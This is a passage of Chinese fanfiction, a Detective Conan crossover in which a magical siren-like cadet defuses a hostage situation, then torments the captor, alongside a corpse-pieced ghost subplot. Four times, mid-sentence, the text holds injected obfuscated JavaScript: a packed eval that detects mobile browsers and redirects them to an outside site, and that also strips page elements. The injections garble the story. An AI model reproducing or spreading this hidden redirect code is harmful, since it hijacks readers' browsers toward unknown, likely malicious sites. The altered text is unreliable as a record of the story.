天知道松田阵平住院期间快要闲出病了,查房医生说检查结果出来之前不给手机,病房的电视连接不到信号,只能看前任住客留下来的碟片——粉皮野猪跳泥坑。 【AAA萩原快送:出事了,医院对面甜品店一人持枪目测随身携带炸弹20KG】 【拆弹のKing:OK,我先报警。】 【拆弹のKing:我这边能看到你们】 【。:鸢尾弥生】 这个老古董手速……显得小阵平都像个话痨。 萩原研二眯眯眼睛。 是真的打字不快? 还是……手机输入法根本没能记住这个“新名字”? 【Rei:周围有较多病患,建议优先疏散群众。】 【Rei:我和zero马上到】 【约会中:周围有同伙没?】 【。:警察已经来了】 萩原研二一脸错愕地抬头。 飞鸟彻羽眨眨眼睛,又想打字,被实在看不下去的家伙按下手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395884|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机。 等你再一句一句打完,歹徒早就饿死了:) 直接说! 萩原研二一边将手机调至静音,在群里发起语音群聊,一边压低声音,磕磕巴巴地对着飞鸟彻羽的手势翻译:“……进来……前……听见……制服……靴子摩擦声。” 手机另一边,刚刚走出警校大门的三人面面相觑: 开玩笑的吧?!这是什么魔鬼听力? “疏散民众……击毙……” 警方的谈判专家开始接触情绪完全不稳定的持枪歹徒,但是对方完全拒绝交流,一味地强调“叫能做主的人来”,一边无意识地推搡着无辜受害的人质,引发阵阵惊呼。 “我们得帮忙,”萩原研二皱眉,感觉再这样僵持下去也是对病人是一种消耗,“至少要让病人能离开现场。” “只有一个人,我来负责控制歹徒——小鸢尾负责保护好那个姐姐吧?”萩原研二顺手将少年凌乱的头发理顺,“小鸢尾之前没有做过这种事吧?没关系的,别紧张,是有点点危险,但是有hagi在,再加上小鸢尾,我们两个绰绰有余哦。” 萩原研二好像是个傻瓜。 飞鸟彻羽如是想到。 遇见危险没想着趋利避害,反倒是自己迎着炸弹往前冲吗? “有关系,”飞鸟彻羽反手揪住萩原研二缩回的袖口,看起来很认真,“很危险。” “别去。” ……你知不知道你在说什么? 飞鸟彻羽知道,他还要再说一遍:“很危险,别去。” ——如果说作为民众,需要警察的保护,那么作为尚未入职但是已经接受了相对系统训练的警校生,警察预备役,是应该归类于前者?还是后者? 飞鸟彻羽认为是前者。 所以,萩原研二最好跟着其他群众一起撤离,而不是在这里考虑“应该从哪一个角度抢夺□□风险最小”的问题。 不论是对于多么有把握的炸弹,疏散引爆总好过要人肉排查。 至于真要爆炸了,店铺的损失怎么算? 这种连锁店肯定会购买保险的,政府会承担对方的经济损失,不会有民众因事故破产的风险。 萩原研二对此表示不能接受: 怎么可能什么都不做就这么出去啊?! “我不……” 非得使用言灵吗…… 之前完全没有经受过魔法脱敏的普通人,在初次接触魔力后,会出现五到七天的“魔法排异期”,具体排异反应因人而异。 而塞壬的【言灵】作为一种极强控制类术式,造成的后果尤为严重。可以说,如果在使用过程中,飞鸟彻羽存了点什么不好公之于众的小心思,对方有可能喜提精神病院终身居住证。 ——这也是松田阵平现在正在住院的真正病因。 而这么多不同症状的病人,感觉够呛承受得住啊…… 至于萩原研二? 皮糙肉厚的警校生,他俩幼驯染正好可以住同一间病房。 飞鸟彻羽轻轻叹气,附身向前,伸手捂住紫瞳青年的耳朵,将萩原研二的脸扭过来,正对着自己。 萩原研二能感觉到对方的体温顺着手心传到双耳,带有对方温热体温的氧气被吞吃入肺,和自己震撼的心跳。 像是温热的喉管被恶鬼撕咬啃食,尚存余温的肉块合着血液,一起被吞吃入腹。 【闭嘴,老实呆着】 8. 第 8 章 隔着几个抱头匍匐在地的人质,和东倒西歪一片狼藉的桌椅,不请自来的歹徒仍然在厉声叫嚣着,彰显存在感: “全都安分点!乖乖等外面的警察答应我的条件,所有人都能安全离开!要是哪个不长眼的敢反抗……” 又是一声枪响,引发周遭阵阵惊呼。 滚烫的枪口被抵在孕妇的后腰,稍有不慎就有擦枪走火的风险。 “大家各退一步,别让我成为杀人犯!你们不想我成为杀人犯是吧?你们都知道不能杀人对不对?” 啧。 异常处理课插手普通警务,估计至少是记个大过。 “……没说不能杀人。” 歹徒大概也是没能想到,自己持枪还有人敢接自己的话茬:“什么?!” 飞鸟彻羽站出来,举起双手,示意自己没有武器,“安全无害”:“我说,没有规定说不能……” “为什么不能杀人?!”歹徒情绪激动,行为倒是还算谨慎,缩在墙角不肯出来,只是对着外面不断地叫嚣,“为什么不能杀人?你说为什么?法律规定不能杀人!你说啊?!” ……真是活得久了什么都能见着,这年头还有歹徒问人质为什么不能杀人的。 “你至少让别人把话说完吧,”穿着白色衬衫的少年眉眼间透漏出一点被人打断的无奈,“法律的要求是:如果杀人就要判刑——没有绝对不允许的事情,只要付得起代价。” “所以说白了,你想做什么都可以,究竟为什么决定在医院对面挟持人质,我大概能猜测得到,也无意阻拦,只是在你做出无可挽回的决定之前请问你——铤而走险所获得的收益是否能够支付成为杀人犯的代价?” “又或者说,想要达成目标,‘成为杀人犯’是否是必要前提?” 飞鸟彻羽缓步前行,鞋底叩响木地板的声音,像是齿轮轻轻咬合,彰显着进度条一点点奔向结局。 “答案为‘否’,我没说错吧?” ——要是结果为“是”,那对方从一开始就没必要和警察谈判了。 结合在医院旁边…… 歹徒先生有点像是被措不及防踩到尾巴的猫,突然跳起来,炸起脊背上的毛发,竭力让自己看起来色厉内荏:“你觉得我不敢杀人?!你是不是瞧不起我?你们一个两个又有什么区别?不都是……” “不不,您怎么会这么想,事实上,我有自信比在场的任何人都要了解您的觉悟,”飞鸟彻羽牵起对方手里尚存余温的枪口,严丝合缝的抵在自己的额头,“要交换人质吗?我毛遂自荐。” 这人疯了! “开什么玩笑……” 飞鸟彻羽一把攥住对方的枪管:“为什么不呢?我只是个普通人,不是经受训练的专业人员;很惜命,没有警察为公众献身的觉悟;身体健康,不会为你的行动带来麻烦——这个建议难道对你有什么坏处吗?” “人质具体是哪一个,对你来说根本没有区别吧?再僵持下去,说不定警察就要抓住机会进来了,那你该怎么办?引爆炸弹和大家同归于尽吗?” “不要吧——”少年没有一点面临生命威胁的紧张感,松弛的仿佛极力推销自家产品的金牌销冠,“那样你躺在病床上的家人会失望的,你难道想要让自己在乎的人,只要出门就被人指指点点,说:能教出来一个杀人犯的家伙,自己又能是什么好东西?” “你在说什么疯话?我怎么会?!” 眼前的场景实在很难分辨,究竟谁是携带热武器威胁众人的恐怖分子: 是张皇失措的歹徒? 还算步步紧逼的人质? “别那么激动,感情用事对解决问题可没什么帮助——我相信你,但是警察也会相信你吗?被你劫持的人质也相信你?” “想想看,再这么僵持下去,事态会不会发展成:孕妇受惊流产一尸两命,警察为了解救剩余人质,铤而走险击毙歹徒,剩下所有人都会获救。” “那你怎么办呢?所有人都知道你是个害死人的王八蛋,一辈子都要被戳脊梁骨,即使是这样也没有关系?” 飞鸟彻羽像所有通俗故事里最典型的恶魔,会用华丽的语言蛊惑人心。 祂将走投无路的可怜人钉在十字架上,斩断他的归处,杀死他的前路。 璀璨的黄金左眼为他流下悲悯的眼泪,共情他的苦楚,索要他的灵魂。 卑鄙无耻,但又冠冕堂皇: “考虑一下我的提议?反正你有炸弹——不论什么时候都拥有一票否决权不是吗?” * 情绪激动的歹徒同意交换人质,其他所有人都可以安全撤离。 萩原研二帮忙架起一旁行走不便的病人,强忍不适跟着人流撤离。 情况很不妙。 像是吃了毒蘑菇,又或者干脆是妄想症发作,眼前的光景纷纷饱和度拉满,并获得了生命,在以各种匪夷所思的方式进行运动,耳边是分不出究竟什么物种的窃窃喳喳,直叫人头昏脑胀。 ……什么东西? 萩原研二勉强提起自己软的就像面条似的两条腿,强迫自己向前直走。 像是被丝线提起的木偶,身体马上就要脱离掌控,偏偏脑子还是活泛,控制不住地胡思乱想: 新同学究竟是怎么回事? 食物投毒?起作用会这么快吗? 不,不对,没道理,也没有闻到什么特殊的气味。 没有确凿的证据,萩原研二不想怀疑对方。 而且,在对方刚刚贴过来的一瞬间,萩原研二感觉新同学身上有种说不出来的熟悉感。 总感觉在哪里见过对方。 ……在哪里呢? “萩原?!” 降谷零连忙从脸色煞白的同期手里接过病人:“你怎么回事?” 萩原研二感觉自己像是躺在泳池底部,声音透过水体,模模糊糊地传到耳畔。 “……什么?” 不知道究竟是谁,但好在能感受到是熟悉的味道,所以萩原研二也就很安心的像没骨头一样,靠在对方身上接力。 “你还能认出来我是谁吗?” 中长发的青年迷迷糊糊地应了一声:“……小阵平?” 诸伏景光:……行吧。 赶快送去就医。 “鸢尾呢?他不是和你一起来的?” 刚刚三人在现场,连观察带推理已经将情况还原了个七七八八。 现下萩原研二不知为何状况不佳,那另一个和他同行的鸢尾呢? 伊达航了解自己的同期。 但凡是有一点可能,萩原研二绝对不会把别人留在危险的现场,自己优先逃生。 事实上,即使没可能,他也会勉力一试。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395885|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>所以…… “你们先带萩原去就诊,我留下。” 但是这个时候萩原研二有限的注意力其他更奇妙的东西吸引走了: 一个小女孩。 说是小女孩也不恰当,更像是由来自不同死者尸块拼凑而成的……碎布娃娃? 肉块与肉块相连的部分,不知道被什么劣质的粘合剂粘住,时不时地就掉下来一团肉,在地上滚了滚,然后像是被家长丢下的儿童,连忙爬回到自己应在的位置。 然后在地上留下一条血痕。 那孩子好像很“喜欢”诸伏景光,小手紧紧抓住他的衣角,在他身上留下密密麻麻,很是醒目的血手印。 但是诸伏景光本人好像分毫未察。 猫眼的青年架起自己的同期,快步向前走去,于是反应不及的小孩脚步还没跟上,手也没来得及放开…… 就这么,华丽丽地,在萩原研二,面前,“分手”了。 萩原研二:?!?!?! 我终于是疯了吗? 不管眼前的这个究竟是幻觉还是别的什么,一双血淋淋的手抓在同期身上总归是不太好的。 于是萩原研二伸手,想要将对方挂在诸伏景光衣角的……不明物体拿掉。 却没想那块……不明物体像是野外新鲜被捅的马蜂窝:流动的血肉顺着他的手臂蜂拥而上,飞快地越过了手腕没有一点减缓的趋势,继续蜿蜒向上。 完蛋了。 我该不会是要被鬼上身了吧? * “你不说点什么?” 飞鸟彻羽这个人质当的,比上班摸鱼还没有心理负担,甚至还有闲心觅食。 于是隔着狙击镜的特警,就看见理论上正面临生命威胁的人质,挡在歹徒面前,将一只粉红色的马卡龙塞进嘴里,然后嘴巴一张一合的。 嚼嚼.jpg 这样就没有办法通过唇语判断自己在说什么了。 “……说什么?” “就比如你为了什么打算在医院门口威胁政府?医药费?器官?” 飞鸟彻羽将语调拉的又轻又长,给足了他反应时间,所以能够清晰地听到在说出后一个词的时候,对方的心跳声。 “哦,我知道了——是后者。” ……水平好次。 就这样也好意思出来作奸犯科啊。 “但是说实话,就算是官方综合考虑到社会影响的问题,真的打算妥协,没有适合器官源,他们也没有办法硬造一个吧。” 组织的医疗水平都没到这个地步。 “……只要答应就有的啊,现在没有了。嗯……人家反悔不捐了?” “哦,猜错了,那就是……被人截胡了?” 全中! 就像是有了读心术一样,或者开了游戏里面的透视,要不是东谷勇人确信自己的计划没有透漏给任何人,甚至都要怀疑是不是自己还有一个同伙。 “也、也没有办法就是判断我就是和医院有关吧?!说不定是我就是凑巧选在了这附近作案呢?!” “消毒水味,而且味道经久不散,不会是简单探望沾到的程度,是陪床的时候留下的吧?你至少在医院洗过一次衣服——别说你除了爱在医院对面作奸犯科,还喜欢偷病人家属的衣服穿——超幸运的,偷到尺寸正好合身,而且还是穿过很久的旧衣服!” 9. 第 9 章 “……知道我是这种混蛋,你还敢留下来啊?” “没关系吧?”飞鸟彻羽拍拍手,弄干净指尖上的糖霜,“你又构不成什么威胁。” 对普通人使用魔法后果会很麻烦,但是很多时候这个界限并不清晰,比如稍微转换一下思路: 完全可以对周边的物品下手嘛。 【苏生】 甜品店的落地大窗帘缓缓拉上,像是为一场舞台剧落下帷幕,阻隔了观众的视线。 下一瞬间,像是唤醒了沉睡的恶鬼,即使东谷勇人尽全力抵抗,也没有办法造成一分一毫的阻碍,徒劳的任由自己手里的枪当面叛变,抵在了自己的太阳穴。 仓皇之间,东谷勇人下意识地想要按下□□…… 按不动?! 头顶悬挂着的吊灯灯管柔软的垂下来,像是游动着的蝮蛇,环住他的脖子,将人整个拔萝卜一样提起,滚烫的温度紧贴着人类脖颈脆弱的皮肤,引发一阵惊恐的战栗。 被扼住要害的可怜人说不出话来,只能徒劳的从喉管中挤出“嚯嚯”声。 不过没关系,嘴巴不能说话,眼睛可不会说谎:那双因为恐惧而目眦欲裂的眼球将他想要表达的内容倾倒地一清二楚。 怪物! 飞鸟彻羽突然就感觉有些兴致缺缺。 ——本来还在期待着,对方能有什么精彩的表现,比如急中生智、绝地反击之类的,结果还是和之前遇见的三流货色别无二致: 勇气的来源是外物,而不是自己的本质。 指着别人的时候是狺狺狂吠的恶犬,而一但枪口对准了自己,立马就变成了摇尾乞怜、仰人鼻息的宠物。 ……某种意义上也算是能屈能伸了。 飞鸟彻羽回过味来,又觉得自己有点可笑: 也是,难不成要求每个犯罪分子都要有碰瓷组织Top killer的水准吗? 紧接着就是被戳中痛处的恼羞成怒: 搞得好像是什么对着前搭档念念不忘的恶心变态一样,时时刻刻拿自己见到的三流货色,和黑泽阵那个……相提并论。 末了,飞鸟彻羽又觉得自己未免有些太刻薄了,黑泽即使再讨厌也罪不至此——随便什么残次品都配和他作比吗? ……掐算着时间,飞鸟彻羽估计差不多了,就指使灯管把可怜的歹徒丢下,让他喘两口气,然后故技重施,再像拔萝卜一样提起来。 如此反复三次,把对方折腾的彻底没了反抗的意识,瘫在墙角,像条搁浅许久但尚未断气的鱼。 飞鸟彻羽翘着腿,坐在一边的桌子上:“说说看,你有多少同伙?” “什?什么……咳……什么同……” “叫你问了吗?” 少年笑盈盈地,面不改色就是一踹,将对方抽倒在地。 原本紧贴在对方头上的枪一时没反应过来,连忙凑过去,重新找到自己的位置,假装什么都没发生过。 ……正常,这种苏生出来的东西一般都不怎么聪明。 “问你什么你就答什么——我们不是可以你来我往好好交流的关系吧?” “……没有,没有同伙。” “那你这身装备是哪弄来的?” “我自己弄的,”歹徒先生不敢撒谎,“手搓炸弹不是是个人就会吗?” ……这是什么米花町地域特色。 飞鸟彻羽不说话,对方也不敢开口。 于是很是诡异的,刚刚还是紧张到呼吸都困难的气氛,现在沉寂了下来。 可是这种情况下,“沉默”是比“审问”更加难以忍受的酷刑。 东谷勇人不敢擅自起身,怕眼前这个瘟神一个不合心意,再玩几次“拔萝卜”。 从这个角度可以很是清晰地看到对方的眼神: 居高临下的,冷眼旁观的。 像是成熟老练的厨师买到了自己心仪的肉,在默默计较着哪一块该怎么处置。 是在瓜分猎物的眼神。 “……您在考虑什么?” “你的处理问题——我在想要不要干脆灭口的好。” “或者你考虑自杀吗?” 飞鸟彻羽歪歪头,像是很认真地在为这个提议而心动。 “不是很好吗?你的器官可以捐赠给你现在正在床上苟延残喘的血亲,而我相信死人更能保守秘密,你也不用担心做出这种事情之后该怎么回家解释——大家都满意的结局,多好。” 东谷勇人几乎想要向店外的警察求救了。 “……那……那我呢?” “你?死人的意见不重要吧?” 居高临下俯瞰他的少年面露古怪,像是真心实意的抱怨,怎么净是说些废话。 “我以为,在做出这种逾越规则的行为之前,你就已经做好了,不被规则保护的心理准备?” 本来不就是如此吗? 秩序是约束集体中个体行为的公约,也是保护集体中每个个体的行为准则。 还是那句话:没有绝对不允许的事情,只要能够付得起代价。 要么就规规矩矩遵纪守法,要么就各凭本事违法犯罪——又想要逾越规则的特权,又不想放弃规则的保护…… 哪有那么多的好事,都让一个人占了? 东谷勇人看着飞鸟彻羽的眼睛。 从那双眼睛里面,看见自己张皇丑陋的面容,怯懦无能的灵魂,和不值一提无人在意的生命。 就这样判决了他的罪责。 “你没有能力为自己的行为承担责任。” “不是这样的!我也……我也是没有办法了才出此下策!本来就是我们排到的肾源,就因为他们有钱!我哥现在就只能躺在病床上等死!我能怎么办?!我没有办法……我没有办法……我哥不能死……” “那你为什么不去报复插队的那一家?或者把自己的捐给他?” 真烂。 没能力解决问题,没血性打击报复,没担当自己捐献,就抓住和这件事完全没有关系的其他病人,挑软柿子捏。 这种诡异的相似感,让飞鸟彻羽有种久别重逢的兴奋感: 让他想起自己作为香槟的时候,偶尔会出去跟着出任务,面对的当然也不是什么好东西,双方如出一辙……说不定香槟后来居上的坏。 所以理所应当的,谁也没什么必要怜悯谁,更狡猾更有耐心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395886|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的活下来。 垃圾?就只好被淘汰。 一声爆鸣在东谷勇人耳边炸开,弹药的硝烟味合着蛋白质烧焦的糊味萦绕在鼻尖,没等他做出任何反应,紧接着就又是一枪,擦过头颅,嵌进背后的墙体。 直到打空弹夹,刚刚诞生生命的手枪讨好地贴到飞鸟彻羽手边,蹭蹭。 只留下原地瘫软成一滩烂泥的家伙。 怪可怜的。 飞鸟彻羽稀薄的道德底线,只能保证对方的生命安全。 ……至于心理健康? ——癫了又不影响活命。 没死就行呗。 飞鸟彻羽本来想再踹他一脚,但是对方这副作态,又实在有点恶心,感觉没有办法对自己那么残忍,遂只好悻悻作罢。 在听到声音选择破门而入的,一众特警的注目礼中,飞鸟彻羽跳下桌子,露出一个很是恶劣的笑容,将刚刚打空子弹,尚未冷却的枪管捅进歹徒嘴里。 突逢巨变的猎犬们尚未反应过来,还没来得及保护歹徒的生命安全,反客为主的少年就率先扣动了扳机。 “等……” ——毫无疑问,是空枪。 飞鸟彻羽不想和他有什么肢体接触,于是用抽出来枪身,拍拍神谷勇人侧脸上,刚刚被踹出来的红印: “不会真的以为我会当着警察的面杀人吧?你以为我是你吗?” 可怜的歹徒早就吓破了胆子,唯一能回应的方式就是身下不容忽视的尿骚味。 飞鸟彻羽:…… 眼前的少年嫌恶的摊手,将手里的空壳子随便丢进旁边一个全副武装的警察怀里,然后被对方手忙脚乱的接住。 “开个玩笑——遇见我算你倒霉。” * ……活跃的血肉顺着手臂蜂拥而上,很快占据整个小臂,甚至丝毫没有延缓的趋势。 下一个瞬间,原本被萩原研二随手塞在衣服口袋里的,来自新同学的见面礼展开自己的肚皮,露出自己内部密密麻麻撰写好的咒文。 原本肆无忌惮地在攻城略地的血肉,就像是被食盐驱逐的蜗牛,顷刻之间就退散的干干净净。只留下没能退散干净的血印子,残留在萩原研二的衣袖,像是吸饱了鲜血的水蛭,狼狈地吸附在青年的手臂上。 被几人翘首以盼的少年推开店门,将略有凌乱的衣衫打理整齐,不用环顾四周,很是精准的就和他们对上视线。 准确的说,是和被诸伏景光半背半架着的萩原研二对上视线。 “你们这是在干什么?” 飞鸟彻羽明知故问,看起来兴致勃勃,心情大好,和刚刚在警校报道时的那个面瘫的警校新生简直判若两人:“现在流行在医院门口勾肩搭背地……团建吗?” 这话实在毫不掩饰,就差是将“鸢尾弥生另有隐情”写在脸上了。 鬼使神差地,像是伸手不见五指的房间里面打开吊灯,被刺目的光线晃了眼睛,萩原研二突然想起来,之前这种说不清楚的熟悉感是来自于哪里了。 半长头发的青年福至心灵,顿悟的瞬间,连身体的不适都可以暂时抛掷脑后: “你是那天晚上那个……酒吧绑架犯!” 10. 第 10 章 于是理所当然地,萩原研二和松田阵平一起,喜提豪华双人VIP病房:在杯户中央病院顶层打通的大平层,落地窗前放了两张床,一边是松田阵平,另一边是萩原研二。 身穿制服,头顶山羊角的异常处理课成员将文件一一发放给几个警校生:“保密协议,麻烦几位确定无误后签名,这是赔偿款,预计会在完成保密协定后一个工作日内到位,没问题的话就在这里签字吧。” 后面的一长串零,数得让人眼花。 杯户中央病院算是自家的地盘,飞鸟彻羽在隔间显了本相,展开翅膀翘着腿,好整以暇地坐在高脚凳上喝花茶。 他这副作态显然不在乎别人观察,所以降谷零也就大大方方地看: 翼展目测有四米五,智力和人类平齐,看骨架和脸型的话,大概十几不到二十岁,还是属于人类“少年”的范畴。 但是“其他异族的年龄是否和人类表现相符”这点存疑。 身旁的几副手套忙上忙下,梳头的梳头,束发的束发,其他的也没闲着,甚至还有一个专门负责摊开“手掌”,接祂放下的茶杯。 降谷零仔细数了一下,总计26双。 ……这是什么深闺小姐。 飞鸟彻羽的头发又厚又长,站起来的时候会在地上拖来拖去,被一根光滑纤长的猩红珊瑚簪子高高束起。祂将茶杯放在一边,指尖翻动,另外闲着的手套也很乖顺,给这辈子第一次见证魔法,现下略显局促的降谷零用热水冲了一杯,一只手套扶着,另一只手套托着,分别送到他面前。 “在最开始先由我自我介绍一下,警视厅-警备局-公安部-异常处理课的飞鸟游,正如你们所想的那样,是故意接近你的没错。长话短说就是,诸伏景光被鬼缠上了——还是趁热喝比较好哦?” “……你不会在里面下毒吧?” “或者说,你比较希望我给你硬灌下去吗?” 降谷零依言勉强抿了几口。 说实话,苦的肠子都要打结了。 没等苦到舌根的味道在口腔内消散,一个血红色的身影就慢慢在视野中的诸伏景光身边浮现: 约莫着七八岁,破破烂烂血肉模糊,所以没有办法辨别性别和样貌。 “这位是在大概六天之前——也就是我和松田阵平一次见面的时候发现的,他沾染到了镶合体的魔力残秽,所以被异常处理课注意到了。目前是在怀疑诸伏景光可能涉及到多起杀人事件以及碎、尸行为。” 透过玻璃,降谷零能清晰地看到,诸伏景光侧耳倾听,正在仔细记下遗嘱。 “hiro不会做这种事。” 飞鸟彻羽对此不置可否:“一般来讲,这种镶合体的各个组成部分实力都差不多,话语权也难分伯仲,所以会找一个大部分受害者都有联系的人跟着——大多数情况下这个人选是凶手。” 【过来】 那个孩子百般不愿,但还是没办法抵抗言灵,穿过玻璃,挪到两人面前。 少年将手搭在镶合体的头顶,五指扣紧,像是抓娃娃前摇动把手,将小红人摇的东倒西歪,连带着身上的碎肉也随着动作一块一块地滚落。直到脖子再也没有办法支撑头部的重量,猩红的头颅滚落在地,转了两圈又重新组装起来,缩回到诸伏景光身后。 “……我有问题,”降谷零浑身僵硬,“这个……额……镶合体会对身体造成什么影响呢?” “不会有什么影响,最多做做噩梦之类的。” 要不是和潘多拉扯上了联系,这种镶合体是不会专门去处理的。 “既然要签保密协定的话,那为什么一开始就让我们知情呢?” “怎么会?确实是至始至终想要隐瞒不假,是几位自己敏锐过人。” 降谷零半月眼:根——本——就——没——隐——瞒——吧—— 从第一次见面就贴脸挑衅,就差把“我有问题”写在脸上了吧。 飞鸟彻羽对这几个非亲非故的陌生人不感兴趣,他想要知道的内容,不需要他们回答。 降谷零则是在刚才就摸清楚了那家伙的性子,他想让别人知道的,会自己漏出去,他不想说的,别人问也没用。 于是气氛一下子就冷了下来。 良久,坐在对面像是从油画里走出来的少年冷不丁地开口:“降谷……零?” 在日本的文化中,除了刚见面的陌生人,直接叫全名很多时候会被视为“不礼貌”的意义,更别说冷不丁被点了全名的降谷零。 “干什么?” * “你在干什么?”黑羽千影皱眉。 飞鸟彻羽张口就是胡说:“如您所见,普渡众生——把潘多拉的魔力分出一部分,放到那个镶合体身上,这样一来就会造成‘有人在仿制潘多拉’的假象。” 潘多拉本身也是一种特化的镶合体——尸块拼起来的玩意,本质上是完全一样的东西。 “这样做能同化出第二个潘多拉吗?” “事实上没什么实质性的作用,但是我需要一个契机,能让我拿到一张也许会在之后足以攻守易形的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395887|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牌——那家伙姓降谷。” “降谷正晃的降谷。” 布置陷阱,等待猎物的感觉让飞鸟彻羽心情愉悦:“潘多拉这种好东西,光一个两个人得了好处可怎么行?投入这么大的人力物力,总要给所有人都看看成果。” 这种事情,只要睁开了眼,就没办法当看不见,更别想独善其身。 扒开他的眼睛,引诱他的耳朵,拖经过的可怜人下水——塞壬总是很擅长这种事。 在作为“香槟”的那几年,飞鸟彻羽也不是没学到什么实质性的东西,比如: 要想要叫你的对手露出破绽,最好一瞬间出一万招。 而在此之前…… 黑羽千影咋舌:“……连莎朗都瞒着?” “您觉得呢?” 好吧。 黑羽千影知道除非自己能够提出更可行或者更高收益的计划,否则她说什么都没有用。 不只是她,任何人,飞鸟彻羽不是会参考别人意见的那一类。 不过想来也是,一个术式类型是【言灵】的人怎么可能会乐于倾听别人的意见呢? “最近大概什么时候有空呢?上一次回来已经是四个月之前了。” “短时间内抽不出时间,盗一那边一时脱不开身,我也要赶回去帮忙。” “是吗,”少年将手上被尸块沾染的血迹清理干净,“明明去工藤家做客就很有时间嘛。” 飞鸟彻羽盯着她的眼睛——天知道他喜欢盯着别人眼睛看的爱好是怎么养成的。 但是被看的那个人可能实在不太好受: 要是有谁对着那张好看到瘆人的脸,被那双诡异的异色全瞳牢牢锁定,胆子小的说不定要今晚做噩梦。 “……还是抽空回来一趟吧,小孩总见不着父母也不太合适,您说对吧?” 没有黑羽快斗的黑羽家,就像是煮火锅没有汤底,全靠各路食材自由竞争: 叛徒香槟、贝尔摩德、怪盗基德、怪盗淑女。 要是有闲情逸致的话,足够凑齐一桌麻将了。 “你威胁我?” “不,您怎么会这么想?我在通知你们。”飞鸟彻羽在最后两个字重读,在强调什么东西不言而喻,“你们最好有时间。” * “……不,没什么。” 如果是几年之后的波本,一定会对这副谜语人的做派信手拈来,但是现在,乐于刨根问底的警校生只会对这种语焉不详的态度恨得牙痒痒。 “突然觉得你的名字很不错。” 11.第 11 章 “所以你们说,鸢尾究竟是什么鸟类啊?” 萩原研二眨眨眼睛,度过了之前强烈的眩晕感,终于可以出院了。 “他下半身是鱼尾来着,”松田阵平摊手,“估计是什么混血,要么就是那种传说中的亚人种——比如说塞壬。” “萩原——!我们这边好了!”诸伏景光和伊达航办完出院手续,找了回来,“你们刚刚在说什么?” 因为要准备运动会学生代表发言,降谷零被教官抓走写演讲稿,所以无奈脱离集体活动。 “在讲鸢尾的事情——我们不是他的嫌疑人吗?冷暴力嫌疑人也太过分了。” 诸伏景光熟练地安抚同期的委屈:“估计是有更紧急的事情吧。不是接了电话之后就急匆匆地走了。” 本以为费尽心思接近他们的“鸢尾弥生”是那种雷厉风行的作风,结果那天接了个电话就把他们几个丢在医院了。 “听见了,稍等。” 他的影子伸出双手,将那个镶合体拖进镜子,吐出一个玻璃小瓶。 飞鸟彻羽将其和一只捕梦网一起丢给诸伏景光:“捕梦网挂在床头,暂时是解决了,彻底根治要等抓到那个凶手。” 诸伏景光不是很想随身携带鬼怪:“……可以交给你们保管吗?也是重要的证据吧?” “留着吧,万一有什么突发状况,我们可以及时找到你。” 然后就不见踪影了。 “可能是对我们不感兴趣吧?” 伊达航合理猜测:“hiro的嫌疑很小,他们异常处理课那边应该会有更优先的怀疑对象——要不然也不会等到松田阵平快出院了才来接触我们。” “更何况人类在哪里都不稀奇吧?” “但是精怪就很稀奇啊!”萩原研二痛心疾首,对同期不上心的态度表示不满,“难道你们之前有见过很多吗?——没有啊!就这一个!” 拥有70亿同胞的人类可能不稀奇,但是这辈子见过的唯一一只塞壬当然很稀奇啊! “等到小诸伏排除嫌疑,按照鸢尾怕麻烦的性格,可能根本就不会再在我们身上浪费时间了!以后可能就再也没有见面的机会了,那可是魔法呐!” “……我觉得hagi对那家伙有点太狂热了。” 虽然松田阵平本人也很好奇,但是一想到要和那个让人头疼的家伙打交道……还是算了吧。 诸伏景光笑眯眯地,化用萩原研二经典名句:“毕竟鸢尾也是难得的池面呢。” 几个人打打闹闹,一直走出医院大门,穿过旁边的花园,准备坐电车回去。 却意外听到一阵稀碎的啜泣声。 “别担心,兰,我一定会把水管处理好的!” 几人仔细一看,是两个约莫十一二岁的孩子,可能是打棒球的时候不小心把水管弄坏了。刘海奇怪翘起的女孩泪眼婆娑,一旁的男孩正手忙脚乱地堵住水管,但依然不可避免的被溅了一身水。 